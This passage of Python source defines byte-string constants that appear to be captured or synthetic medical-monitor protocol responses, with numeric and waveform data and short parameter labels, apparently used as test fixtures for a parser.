b"\x20\x26\x20\x1c\x20\x12\x20\x08\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0" \
b"\x1f\xee\x1f\xed\x1f\xed\x1f\xec\x1f\xec\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2" \
b"\x1f\xf1\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x22\x20\x1f\x20\x1d\x20\x19\x20\x17\x20\x14\x20\x12" \
b"\x20\x0e\x20\x0c\x20\x0a\x20\x06\x20\x03\x20\x01\x1f\xff\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x20\x01\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x20\x00\x1f\xff\x1f\xff\x1f\xfe" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x20\x4b\x20\x43\x20\x3b\x20\x35\x20\x2d\x20\x25\x20\x1d" \
b"\x20\x17\x20\x0f\x20\x07\x20\x01\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x07\xc9\x07\x99\x07\x6b\x07\x40\x07\x18\x06\xf3\x06\xd2" \
b"\x06\xb3\x06\x97\x06\x7f\x06\x69\x06\x57\x06\x47\x06\x3a\x06\x2f" \
b"\x06\x27\x06\x21\x06\x1d\x06\x1a\x06\x19\x06\x19\x06\x1a\x06\x1b" \
b"\x06\x1d\x06\x1e\x06\x20\x06\x20\x06\x20\x06\x1f\x06\x1d\x06\x1a" \
b"\x06\x15"
rsp_nu_7_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x6f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_7_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x6f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_7_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x6f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_7_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x58\x00\x04\x00\x07\x04\x52\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x48\x00\x03\x00\x00\x0e\x80\x40\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x2e\x00\x00\x00\x04" \
b"\x04\x28\x08\x11\x00\x10\x01\xb2\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x02\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x49\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x44\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xdd\x20\xa5\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\xb1\x21\xd1" \
b"\x09\x6e\x01\x06\x01\x02\x04\x00\x01\x00\x1f\xf0\x1f\xf0\x1f\xef" \
b"\x1f\xed\x1f\xed\x1f\xec\x1f\xeb\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7" \
b"\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf" \
b"\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8" \
b"\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0" \
b"\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8" \
b"\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde\x1f\xdf\x1f\xe0\x1f\xe1\x1f\xe3" \
b"\x1f\xe4\x1f\xe5\x1f\xe7\x1f\xe8\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed" \
b"\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7" \
b"\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x08\x11\x00\x01\x01\x0a" \
b"\x09\x6e\x01\x06\x01\x01\x04\x00\x01\x00\x1f\xfc\x1f\xfa\x1f\xf9" \
b"\x1f\xf9\x1f\xf9\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5" \
b"\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf2" \
b"\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf5\x1f\xf6" \
b"\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf9\x1f\xf9" \
b"\x1f\xf8\x1f\xf9\x1f\xf9\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfb" \
b"\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfc\x1f\xfd\x1f\xfe\x1f\xfd\x1f\xfd" \
b"\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfc\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x08\x11\x00\x01\x01\x0a" \
b"\x09\x6e\x01\x06\x01\x3d\x04\x00\x01\x00\x1f\xf3\x1f\xf5\x1f\xf5" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xed\x1f\xed\x1f\xeb\x1f\xeb\x1f\xe9\x1f\xe9" \
b"\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3\x1f\xe3\x1f\xe5" \
b"\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf\x1f\xdd\x1f\xdb" \
b"\x1f\xdb\x1f\xdb\x1f\xdb\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xe1\x1f\xe1" \
b"\x1f\xe1\x1f\xe3\x1f\xe3\x1f\xe5\x1f\xe7\x1f\xe7\x1f\xe7\x1f\xe9" \
b"\x1f\xeb\x1f\xeb\x1f\xed\x1f\xed\x1f\xed\x1f\xef\x1f\xef\x1f\xf1" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf7\x1f\xf9" \
b"\x1f\xf9\x1f\xfb\x1f\xfd\x1f\xff\x1f\xfd\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x07\x8e\x00\x01\x00\x4a" \
b"\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40\x06\x0e\x06\x05\x05\xfb" \
b"\x05\xef\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66" \
b"\x05\x4d\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91" \
b"\x04\x78\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05" \
b"\x04\x01\x04\x00\x04\x04\x04\x0b\x04\x18"
rsp_wave_7_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x48\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
